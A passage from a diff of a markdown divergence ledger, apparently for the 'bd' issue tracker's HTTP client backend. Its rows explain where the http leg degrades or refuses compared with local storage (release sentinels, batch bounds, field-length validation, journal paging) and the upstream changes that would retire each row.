recovery is the one the server's own detail prescribes: READ THE ROW rather than retrying blind. Upstream ask: a code, or a member, that distinguishes the unheld row from the unreleasable status — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-release-notowner | degrade | — | an unforced, unconditional release by an actor that is NOT the holder answers issueops.ErrAlreadyClaimed — carrying *issueops.ClaimConflictError — rather than issueops.ErrNotOwner | the wire answers the ownership fence with `already_claimed`, which is the code updateIssue already gives the same situation (a live foreign owner refusing a write, with a force bypass and a name-the-holder bypass), and this client maps that code to the sentinel every other operation means by it. The two sentinels are distinct values in issueops and neither wraps the other, so the arm a caller writes differs. REPORTING IT AS ErrNotOwner WOULD BE THE WORSE TRADE, not merely a different one: the code is shared with the claim refusals, so a client that special-cased it for this operation would be reading the OPERATION to decide the sentinel rather than the code — and would then answer ErrNotOwner for a genuine already_claimed the day the server reuses the code here for anything else. WHAT SURVIVES IS EVERYTHING A CALLER ACTS ON: the refusal is typed, it names the row (the request supplied the id the wire leaves out), nothing is written, and BOTH bypasses answer exactly as the role says — force releases the foreign claim, and naming the holder in expected_assignee releases it too, because a match replaces the fence. The wire deliberately sends no `assignee` member here, so the holder is not named: absence means 're-read the row', never 'nobody holds it'. Upstream ask: a code, or a member, that separates the release's fence from a claim conflict — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-config-bounds | degrade | — | a setting VALUE past types.MaxTextBytes bytes, and a setting KEY past types.MaxFieldLen characters on the WRITE, are refused with issueops.ErrValidation naming the member; on a local leg the same request reaches the column and fails with the engine's own `too large for column` error, which is no sentinel at all | the bound belongs to the OPERATION rather than to the role: internal/httpapi's settingWriteKey and settingValue check both before the role is called, because a request the caller could have fixed should be a 400 naming the member rather than the 500 a column overflow would otherwise produce. workapi.ValidateSettingWrite — the rule every leg shares — applies no length bound at all, so below the wire the column is the only check there is. MEASURED, not inferred: a 65536-byte value answers `400 invalid_argument: \`value\` is 65536 bytes; storage holds at most 65535` over http and `Error 1105: string ... is too large for column 'value'` on the embedded leg, and a 306-character key splits the same way. Exactly 65535 bytes is accepted on both. THIS CLIENT RESTATES NEITHER BOUND, and that is the decision this row records. They are the SERVER's policy on a value whose shape the role accepted, one release away from moving, so a second copy here would either drift or refuse a request a newer server would take — the same argument L-comment-author makes about the author rule, and the same posture. What travels back is the operation's own 400, which the problem mapper turns into ErrValidation. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS and because the divergence runs in the CALLER'S FAVOR: over http an oversized write is a typed, member-named refusal that wrote nothing, where a local leg hands back a driver error no caller can classify. What a caller loses is nothing; what a caller must not assume is that a value a local workspace stored will store here. THE TWO BOUNDS ARE NOT SYMMETRIC ACROSS THE VERBS, and the asymmetry is the operation's: DELETE checks only that the key names something, so removing a 306-character key succeeds over http exactly as it does locally. Upstream ask: the length rules moving onto the shared validator, which retires this row by making the two legs one | D8 row 11, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-update-fieldlen | degrade | — | an updateIssue patch member past types.MaxFieldLen characters — a label on any of the three label members, `title`, `external_ref` — is refused with issueops.ErrValidation naming the member; on a local leg the same request answers types.ErrFieldTooLong | the bound is applied TWICE and identically: internal/httpapi/update.go checks types.CheckFieldLen at the edge before the role is called, and internal/storage/issueops applies the same function below it. So this is a classification divergence and not a policy one — a value one leg stores the other stores, and a value one leg refuses the other refuses. WHAT COARSENS IT is the spelling: the operation refuses with `invalid_argument` and reason `invalid_value` (internal/httpapi's refuse on the patch member), which is the SAME pair a malformed status, an unparseable timestamp or any other bad value on the same member earns. Nothing on the wire tells them apart, so reconstructing ErrFieldTooLong from the pair would misclassify every other refusal of that member — the argument L-create-prefix makes about the id, on the patch. MEASURED, not inferred: a 256-character label answers `400 invalid_argument: \`add_labels[0]\` is 256 characters; storage holds at most 255` over http and ErrFieldTooLong through the reference store's own Lifecycle role, and exactly 255 characters is accepted on both. THIS CLIENT RESTATES THE BOUND NOWHERE, and the reason differs from L-config-bounds': not that the rule is the server's to move, but that a second copy of a rule two layers already apply is a third place for it to drift. What travels back is the operation's own 400. IT IS A DEGRADE RATHER THAN A REFUSE because the path PROCEEDS and the outcome is identical on both legs — the request fails, the row is untouched, and no truncated value is stored — while the detail names the offending member and its length, which is the recovery a caller needs. What is lost is the errors.Is arm a caller writes to tell 'too long' from 'malformed'. Upstream ask: a `too_long` reason, or a code of its own, which retires this row | D8 row 16, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-events-paging | degrade | — | an UNCAPPED journal read (limit 0) is served as a loop of handler-sized requests rather than one, so its rows and its head no longer come from a single instant; a bounded read is one request and is unaffected | the role imposes no ceiling of its own — journalops.Journal says a limit of 0 means uncapped, because the caller that pages a hundred thousand records out to a file is as legitimate as the one polling for ten — and the OPERATION refuses `limit=0` by value, capping a page at 10000 (internal/httpapi's maxEventsLimit). That cap is the handler's promise to its clients rather than a narrowing of the role, and this client is on the other side of it. SO THE LOOP IS THE ONLY HONEST READING. Refusing an uncapped read would refuse something the role permits; capping one silently at 10000 would answer a partial page beside a head saying there is more, which is a consumer stalling on a gap nobody told it about. Both are worse than N transactions. WHAT SURVIVES IS WHAT A CONSUMER ACTS ON: rows stay contiguous and seq-ascending, because each page continues exactly where the last ended; the head is the LAST page's, so it is the freshest and can only be at or ahead of the last row served; and a truncation on any page is the whole read's failure, never a shorter answer — a loop that returned the prefix it had already gathered would answer a gap with a plausible-looking suffix, which is the one failure a replay feed must never ship. WHAT DOES NOT SURVIVE is atomicity across the whole answer: a mutation committing mid-loop appears in a later page of the SAME call rather than in the next one. A consumer cannot observe that as a gap or a duplicate — it reads as records it would have received on its next poll, arriving early — which is why this is a degrade rather than a refusal. IT IS A DEGRADE RATHER THAN A REFUSE for the ordinary reason too: the path proceeds, and the answer cannot be misread as narrower or wider than the caller asked for. Upstream ask: an unlimited spelling on the operation, or a cursor the page can hand back — either retires this row | D8 (Journal), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L13 | degrade | — | pretty `bd ready` shows no parent-epic context | buildParentEpicMap swallows the GetDependencyRecordsForIssues refusal into a nil map; the retirement path is an anchored listDependencies plus per-parent getIssue | D9 L13, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | +| L14 | degrade | — | against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction | claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510 | D9 L14, D8 row 4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L15 | degrade | — | a --max-rows cap can fire over http on a query whose Limit is at or under the cap, on the `bd list` legs that still walk | locally the effective SQL LIMIT is min(Limit, MaxRows+1), so a window at or under the cap can never exceed it; over http a walk to exhaustion fetches far more than the window and the cap deliberately bounds WIRE ROWS FETCHED — safety wins over exit-code parity on exactly the unbounded walk the cap exists to bound. NARROWED by the same pushdown that narrowed L2: the pushdown leg asks for min(limit, MaxRows+1) rows in one request, which IS the local expression, so a cap at or above the limit can no longer fire there and a request that used to exit 2 now answers. That is a convergence toward the contract, and it is observable — the same command changes from a refusal to a page. THE NARROWING IS SCOPED TO THE ORDERS SQL CAN EXPRESS, and that scope is a correctness bound rather than an optimization left on the table. For a GO-SIDE sort — sqlbuild.IsGoSideSort, today `--sort id`, which needs the natural-numeric comparison (bd-9 before bd-10) no ORDER BY renders — workapi.SQLLimit pushes 0 down instead of the limit, so LOCALLY the window is MaxRows+1 whatever the limit is and the cap fires on the overage even under a limit at or below it. min(limit, MaxRows+1) is therefore NOT the local expression there, and a request bounded by the limit cannot see the overage at all. walkIssues' gate keeps a capped Go-side sort on the walk, where fetching MaxRows+1 wire rows reproduces that unbounded local window exactly and raises the same refusal — so on this one shape the walk leg is the CONVERGENT one and pushing down would have been the divergence. What keeps the row live is the walk legs (unlimited reads, keyset positions, down-level servers), where the old accounting is unchanged and correct, and `bd ready`, which has no pushdown at all | D9 L15, D12 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L16 | refuse | `--file` | `bd dep add --file` carrying more than 100 edges refuses, naming the wire bound; it is never chunked | maxAddDependencyEdges = 100 (internal/httpapi/dependency_edit.go); chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract, where naive forwarding at least fails loudly | D9 L16, D7, D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-close-cap | refuse | — | a batch close naming more than 100 items refuses, naming the wire bound; it is never chunked | maxBatchCloseItems = 100 (internal/httpapi/batch_close.go); the item cap bounds how long one request may hold a write transaction. Chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract — the same reason L16 refuses a bulk dependency add rather than splitting it — so a larger list refuses and the caller splits it, each request atomic on its own | D9 L-close-cap, D7 F-close, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-dep-endpoint | degrade | — | a dependency add whose source or target names no issue refuses as ErrValidation over http, not as *DependencyEndpointNotFoundError wrapping ErrDependencySourceNotFound or ErrDependencyTargetNotFound | the wire spells that refusal as a 400 invalid_argument with reason `invalid_value` and the offending member in `param` (internal/httpapi/dependency_edit.go). Reason and code are the same ones a malformed id earns, so the two are indistinguishable without reading `detail` prose — which is exactly what the extension-member vocabulary exists to avoid. The refusal still FAILS the request and still writes nothing; only its classification is coarser. Upstream ask: a distinguishing code or reason for the endpoint-not-found refusal, which retires this row | D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-claim-prose | degrade | — | a claim refusal's MESSAGE does not carry the ClaimedBy/NotClaimableStatus fragments, so beads.ParseClaimConflict recovers nothing from it over http | the fragments exist so that parser can recover the conflicting assignee and status from PROSE. Over the wire both arrive as typed extension members and *ClaimConflictError is reconstructed whole, so a caller reading the FIELDS loses nothing. Recomposing the copy client-side would mean re-implementing which copy each refusal shape gets — an open issue held by someone else deliberately omits the assignee tail, an in-progress one carries it — which is a second implementation of the very rule the fragments were introduced to keep single | D8 row 3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-delete-notfound | degrade | — | issueops.Deleter.Delete over http refuses an absent id as issueops.ErrNotFound, not as *NotFoundError naming WHICH ids did not resolve | the role's error is a typo report and names every missing id; the wire deliberately does not repeat them (internal/httpapi's NotFound() carries a FIXED detail, so a 404 body cannot echo caller input back). The refusal still FAILS the request and still deletes NOTHING — not even the ids beside the typo — so the all-or-nothing promise is intact and only the classification is coarser. It is stated at the ROLE rather than at a command because `bd delete` is not reachable against an http workspace at all (see httpUnconsumedCapabilities); the embedder holding the role is the audience. Upstream ask: an ids extension member on the not_found problem, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-delete-dependents | degrade | — | the unforced dependents guard refuses as issueops.ErrValidation, not as *DependentsOutsideRequestError wrapping ErrDependentsOutsideRequest | the wire spells that refusal as a 400 invalid_argument with no `param` (internal/httpapi's failDeleteErr) — the fix is to change the REQUEST, by sending cascade or force — so the blocked id and its dependents cannot be reconstructed without parsing detail prose, which is what the extension-member vocabulary exists to avoid. The guard itself is untouched: the request fails and the graph is whole. Upstream ask: a dependents_outside_request code carrying issue_id and dependents, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-delete-bound | refuse | — | issueops.Deleter.Delete refuses a request naming more than 1000 ids, citing the wire bound; it is never split across requests | maxDeleteIDs = 1000 (internal/httpapi/delete.go). Splitting is the one path that silently breaks the request's one-transaction, one-history-entry contract — and it would ask the dependents guard about half a request at a time, so a pair the caller deliberately listed together would be refused as an outside dependent. Naive forwarding at least fails loudly. Stated at the ROLE: `bd delete` cannot reach an http workspace, so the embedder is the audience | D8 row 13, D9 L16 (the same argument, on the other bulk write) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-batchcreate-bound | refuse | — | `bd create --file` carrying more than 100 issues refuses, naming the wire bound; it is never split across requests | maxBatchCreateItems = 100 (internal/httpapi/batch_create.go). The request IS the transaction, so two requests are two transactions and two history entries where the role promises one — and a failure in the second leaves half a plan created, which is the outcome all-or-nothing exists to make impossible | D8 row 14, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-edgecount-bound | refuse | — | issueops.GraphCounter.CountEdges refuses a request naming more than 100 DISTINCT anchors, citing the wire bound; it is never chunked across requests | maxDependencyAnchors = 100 (internal/httpapi/edges.go), the same bound the stored-edge read on this collection carries — the role deliberately sets none of its own and says the bound belongs to the WIRE. Chunking is what a READ could get away with and this one cannot: CountEdges promises that an anchor's EXISTENCE and its edge count are read from one consistent view, so two requests would let an anchor be reported missing by a probe that raced a create the other chunk's count already saw — one answer contradicting itself, which is the exact failure AnchorEdgeCount.Missing exists to make impossible. Refusing at the bound fails loudly instead, and the caller splits the question knowing it asked twice. Upstream ask: a cursor or a higher bound on the anchor list, which retires this row | D9 L16 (the same argument, on a read), D8 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-cycles-tracks | refuse | `DetectCyclesRequest.IncludeTracks` | issueops.CycleDetector.DetectCycles refuses a request with IncludeTracks set, rather than silently answering the narrower (tracks-excluded) walk | listDependencyCycles (wire.OpListDependencyCycles) publishes no include_tracks parameter at all — there is no wire member to widen the walk onto, not merely one this client chose not to send. Honoring the request field anyway (by just not sending it, the way a dropped filter would) would answer the DEFAULT walk to a caller who explicitly asked for the wider one that also follows `tracks` edges: a narrower answer with no error, exactly the failure mode ErrUnsupported exists to make loud instead of silent (see its own doc). Upstream ask: an include_tracks query parameter on listDependencyCycles, which retires this row | D8 (refuse-not-drop), D9 L16 (the same argument, on a read) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-batchcreate-target | degrade | — | a batch create whose edge target names no issue refuses as issueops.ErrValidation alone, not as ErrValidation WRAPPING ErrNotFound | the wire answers a dangling edge target with a 400 invalid_argument naming `items` (internal/httpapi's failBatchCreate), and deliberately does not quote the role's own message, which arrives as a driver error naming tables and constraints. The refusal still fails the whole batch and creates nothing — the promise the row is about — and only the second sentinel is lost. Upstream ask: a distinguishing code for the absent-target refusal | D8 row 14 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-batchcreate-inbatch | refuse | — | an edge onto an EARLIER ITEM OF THE SAME BATCH cannot be expressed at all over http | the capability needs the earlier item to have named an id for itself, and apigen.BatchCreateItem publishes no id member — an explicit id is refused with the rest of W-BatchCreateItem.Issue. So the target of an in-batch edge can only be a row the workspace already holds. It is a REFUSE row rather than a degrade because the request that asks for it fails: the client refuses the explicit id before the dial, and there is no second spelling that would land the edge silently. The wire's own `target_id` description names this case, so the gap is in the SCHEMA rather than in the handler — the upstream ask is an item id member, which retires this row | D8 row 14 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L18 | degrade | — | DOWN-LEVEL ONLY: against a server that does not advertise issues.batchClose, a single-id `bd close` still composes onto closeIssue and records the SERVER's own close commit message rather than the batch's id-naming entry; the multi-id and --claim-next shapes refuse there | the composed leg is one closeIssue call, so the history entry it leaves is the one that operation writes for itself — the batch's entry names the ids it closed and this one cannot, because no batch ran. Where issues.batchClose IS advertised the whole request is one call and one server-side transaction, so this divergence does not arise at all; the down-level leg survives on purpose, because `bd close` worked against pre-batchClose servers before this port and refusing it now would be a regression dressed as progress. It is the same posture L14 takes toward issues.claimNext. It is a degrade rather than a refuse because the close LANDS and the answer is neither narrower nor wider than the caller asked for — only the record of it is the operation's rather than the batch's. Retirement is a fleet fact rather than an upstream ask: the row goes when no server this client may meet is older than issues.batchClose | D9 L18, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-create-notfound | degrade | — | a create whose dependency or waits-for target names no row refuses as issueops.ErrValidation ALONE — not as ErrValidation wrapping ErrNotFound — and does not name the target | the wire answers a dangling target with a 400 invalid_argument naming `dependencies` and a FIXED detail (internal/httpapi's failCreateIssue), which deliberately does not quote the role's own message: that message arrives as a driver error naming tables and constraints, and 4xx details on this surface reflect the caller's own input back rather than server internals. The refusal still fails the whole request and creates NOTHING — the promise the row is about — and only the second sentinel and the target's name are lost. It is batchCreateIssues' L-batchcreate-notfound on the single create, and it retires the same way: an upstream code that distinguishes the absent-target refusal and carries the target. A missing --parent target stays on this row beside dependency and waits-for targets, not ahead of them: OpCreateIssue's problem-code table documents NO 404 for ANY edge target on purpose (internal/httpapi/problem.go) — there is no id in the path for parent_id to have missed any more than dependencies[i].target_id or waits_for.spawner_id has, so carving a parent-only not_found out of this row would contradict that design rather than follow it. A prior draft of this row and its pin (TestServedCreateRefusesAnAbsentParentAsNotFound) described that carve-out as already shipped; it never was, and the S3 review that found the drift retired the draft rather than the design | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-create-prefix | degrade | — | an unforced explicit id outside the workspace's configured prefix refuses as issueops.ErrValidation rather than as storage.ErrPrefixMismatch | the wire spells that refusal as a 400 invalid_argument with `param: "id"` and `reason: invalid_value` (internal/httpapi's failCreateIssue), which is the SAME pair a malformed or oversized `id` earns — so nothing on the wire tells the two apart, and reconstructing the typed sentinel from the pair would misclassify every other refusal of that member. The guard itself is untouched: the id is refused, nothing is created, and the detail names `force_id_prefix` as the bypass, which is the recovery a caller needs. What is lost is the errors.Is arm both local front doors use to decide whether to re-offer the create with --force. Upstream ask: a prefix_mismatch code, or a reason that distinguishes it, which retires this row | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-apply-snapshot | degrade | — | every ItemResult of a batch apply comes back with Issue nil, where a local backend hydrates a post-item snapshot | the WIRE result is lean by the document's own decision and the role's leaf says why: ApplyItemResult carries ids, `changed` and `revision` and no issue, because the Go contract carries the snapshot for its COMPLETION HOOKS — which hand a script the row they are telling it about — and hooks never fire on the http surface at all. A hundred hydrated issues with their labels and edges would be a response an order of magnitude larger than the request that produced it. What a caller loses is a read it can make: the ids ARE published, per item and through Keys, so the rows are one getIssue away and the plan's next step is composed from ids rather than from snapshots. It is a degradation rather than a refusal because nothing about the WRITE differs — every item landed exactly as asked — and refusing would make the whole operation unavailable over http to keep a member no consumer on this surface can use | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-apply-ref | degrade | — | an unresolvable metadata_refs key comes back as a *RefError naming the MEMBER rather than the key, and the reconstructed error replaces the server's problem envelope | the wire's 400 names the offending member in `param` — `items[3].create.metadata_refs` — and carries the item index, the item's key and `declared_later`, but not WHICH entry of the refs map failed: the role's RefError.Member is diagnostic prose (`metadata_ref `) rather than a vocabulary, so the server maps it onto the document's own member names instead of publishing it. The two ADDRESSING refs, target and source, are named exactly. The envelope is dropped because issueops.RefError has nowhere to put it: its Unwrap is hardcoded to ErrValidation and it carries no member for a cause, which is the role type's shape rather than a choice made here. The discriminator a caller ACTS on — an ordering mistake against a typo — survives whole, in both polarities. Upstream ask: a typed ref-key member on the problem document, which retires this row | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-comment-author | degrade | — | a comment's AUTHOR is subject to the server's own actor rule, which no local leg applies: it is stored TRIMMED where a local backend stores it verbatim, and one carrying a control character is refused (issueops.ErrValidation) where a local backend stores it | the operation validates `author` with the `actor` rules whole (internal/httpapi's validateNameMember: trim, refuse empty, refuse past 256 bytes or 255 characters, refuse any control rune) and passes the TRIMMED value on to the role, while issueops.ValidateAddCommentRequest checks only that the field is non-empty and stores what it was given. So the same request produces a different STORED VALUE on the two legs, and a value one leg stores the other refuses. IT IS THE SERVER'S RULE AND THE DOCUMENT PUBLISHES IT, which is why this is a ledger row rather than a bug on either side: the schema states the trim and the character rule in as many words, and the reason is the column — `author` is 255 characters wide and every renderer of the thread prints it, where an unfiltered C1 introducer is an escape-sequence payload. The refusal half is a NARROWING the wire makes on purpose. THE CLIENT DOES NOT ANTICIPATE EITHER HALF, and that is the decision this row records. Trimming here would make the client agree with the server about the stored value and disagree with the role's own contract — and it would silently rewrite a caller's request, which is the one thing this seam never does. Refusing the control rune here would be a second copy of a server rule that is free to move. So the value travels as the caller wrote it and the server's answer is reported unchanged, which keeps the divergence visible instead of laundering it. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS: a well-formed author is stored, and the difference cannot be misread as a wider or narrower answer — a comment lands on the thread the caller named either way. The refusal half is the SERVER's, not this client's refuse-not-drop, which is what KindRefuse classifies. What a caller loses is an author whose surrounding space survives, and the recovery is the one the role's own contract already implies: compose the author from a value you would be willing to see printed. Upstream ask: either the role trimming its own author on every leg, or the operation storing it verbatim — the rows agree the day the two rules become one | D8 row 19 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-release-notclaimed | degrade | — | a release of a row that holds NO CLAIM answers issueops.ErrNotReleasable rather than issueops.ErrNotClaimed; a status that will not accept a release answers ErrNotReleasable as it does everywhere | the role splits the two — ErrNotClaimed for a row nobody holds, ErrNotReleasable for a status the transition is not defined over — and the wire spells BOTH `not_releasable` under one code, with no member telling them apart. That is the server's deliberate choice (internal/httpapi's CodeNotReleasable) rather than an omission, and its detail names both conditions instead of guessing between them. So this client maps to the WIDER of the two, which is the only honest read: reconstructing ErrNotClaimed would assert a fact about the row that the wire never sent, and scraping the detail for it would bind a sentinel to prose. NOTHING ELSE ABOUT THE REFUSAL MOVES — nothing is written, the row and its version are untouched, and the conditional path is unaffected: a caller that named a holder gets ErrAssigneeMismatch on both sides, because that refusal has a code of its own. The caller who loses something is the one that told 'I already released this' from 'the row was never claimed', and the recovery is the one the server's own detail prescribes: READ THE ROW rather than retrying blind. Upstream ask: a code, or a member, that distinguishes the unheld row from the unreleasable status — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-release-notowner | degrade | — | an unforced, unconditional release by an actor that is NOT the holder answers issueops.ErrAlreadyClaimed — carrying *issueops.ClaimConflictError — rather than issueops.ErrNotOwner | the wire answers the ownership fence with `already_claimed`, which is the code updateIssue already gives the same situation (a live foreign owner refusing a write, with a force bypass and a name-the-holder bypass), and this client maps that code to the sentinel every other operation means by it. The two sentinels are distinct values in issueops and neither wraps the other, so the arm a caller writes differs. REPORTING IT AS ErrNotOwner WOULD BE THE WORSE TRADE, not merely a different one: the code is shared with the claim refusals, so a client that special-cased it for this operation would be reading the OPERATION to decide the sentinel rather than the code — and would then answer ErrNotOwner for a genuine already_claimed the day the server reuses the code here for anything else. WHAT SURVIVES IS EVERYTHING A CALLER ACTS ON: the refusal is typed, it names the row (the request supplied the id the wire leaves out), nothing is written, and BOTH bypasses answer exactly as the role says — force releases the foreign claim, and naming the holder in expected_assignee releases it too, because a match replaces the fence. The wire deliberately sends no `assignee` member here, so the holder is not named: absence means 're-read the row', never 'nobody holds it'. Upstream ask: a code, or a member, that separates the release's fence from a claim conflict — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-config-bounds | degrade | — | a setting VALUE past types.MaxTextBytes bytes, and a setting KEY past types.MaxFieldLen characters on the WRITE, are refused with issueops.ErrValidation naming the member; on a local leg the same request reaches the column and fails with the engine's own `too large for column` error, which is no sentinel at all | the bound belongs to the OPERATION rather than to the role: internal/httpapi's settingWriteKey and settingValue check both before the role is called, because a request the caller could have fixed should be a 400 naming the member rather than the 500 a column overflow would otherwise produce. workapi.ValidateSettingWrite — the rule every leg shares — applies no length bound at all, so below the wire the column is the only check there is. MEASURED, not inferred: a 65536-byte value answers `400 invalid_argument: \`value\` is 65536 bytes; storage holds at most 65535` over http and `Error 1105: string ... is too large for column 'value'` on the embedded leg, and a 306-character key splits the same way. Exactly 65535 bytes is accepted on both. THIS CLIENT RESTATES NEITHER BOUND, and that is the decision this row records. They are the SERVER's policy on a value whose shape the role accepted, one release away from moving, so a second copy here would either drift or refuse a request a newer server would take — the same argument L-comment-author makes about the author rule, and the same posture. What travels back is the operation's own 400, which the problem mapper turns into ErrValidation. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS and because the divergence runs in the CALLER'S FAVOR: over http an oversized write is a typed, member-named refusal that wrote nothing, where a local leg hands back a driver error no caller can classify. What a caller loses is nothing; what a caller must not assume is that a value a local workspace stored will store here. THE TWO BOUNDS ARE NOT SYMMETRIC ACROSS THE VERBS, and the asymmetry is the operation's: DELETE checks only that the key names something, so removing a 306-character key succeeds over http exactly as it does locally. Upstream ask: the length rules moving onto the shared validator, which retires this row by making the two legs one | D8 row 11, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-update-fieldlen | degrade | — | an updateIssue patch member past types.MaxFieldLen characters — a label on any of the three label members, `title`, `external_ref` — is refused with issueops.ErrValidation naming the member; on a local leg the same request answers types.ErrFieldTooLong | the bound is applied TWICE and identically: internal/httpapi/update.go checks types.CheckFieldLen at the edge before the role is called, and internal/storage/issueops applies the same function below it. So this is a classification divergence and not a policy one — a value one leg stores the other stores, and a value one leg refuses the other refuses. WHAT COARSENS IT is the spelling: the operation refuses with `invalid_argument` and reason `invalid_value` (internal/httpapi's refuse on the patch member), which is the SAME pair a malformed status, an unparseable timestamp or any other bad value on the same member earns. Nothing on the wire tells them apart, so reconstructing ErrFieldTooLong from the pair would misclassify every other refusal of that member — the argument L-create-prefix makes about the id, on the patch. MEASURED, not inferred: a 256-character label answers `400 invalid_argument: \`add_labels[0]\` is 256 characters; storage holds at most 255` over http and ErrFieldTooLong through the reference store's own Lifecycle role, and exactly 255 characters is accepted on both. THIS CLIENT RESTATES THE BOUND NOWHERE, and the reason differs from L-config-bounds': not that the rule is the server's to move, but that a second copy of a rule two layers already apply is a third place for it to drift. What travels back is the operation's own 400. IT IS A DEGRADE RATHER THAN A REFUSE because the path PROCEEDS and the outcome is identical on both legs — the request fails, the row is untouched, and no truncated value is stored — while the detail names the offending member and its length, which is the recovery a caller needs. What is lost is the errors.Is arm a caller writes to tell 'too long' from 'malformed'. Upstream ask: a `too_long` reason, or a code of its own, which retires this row | D8 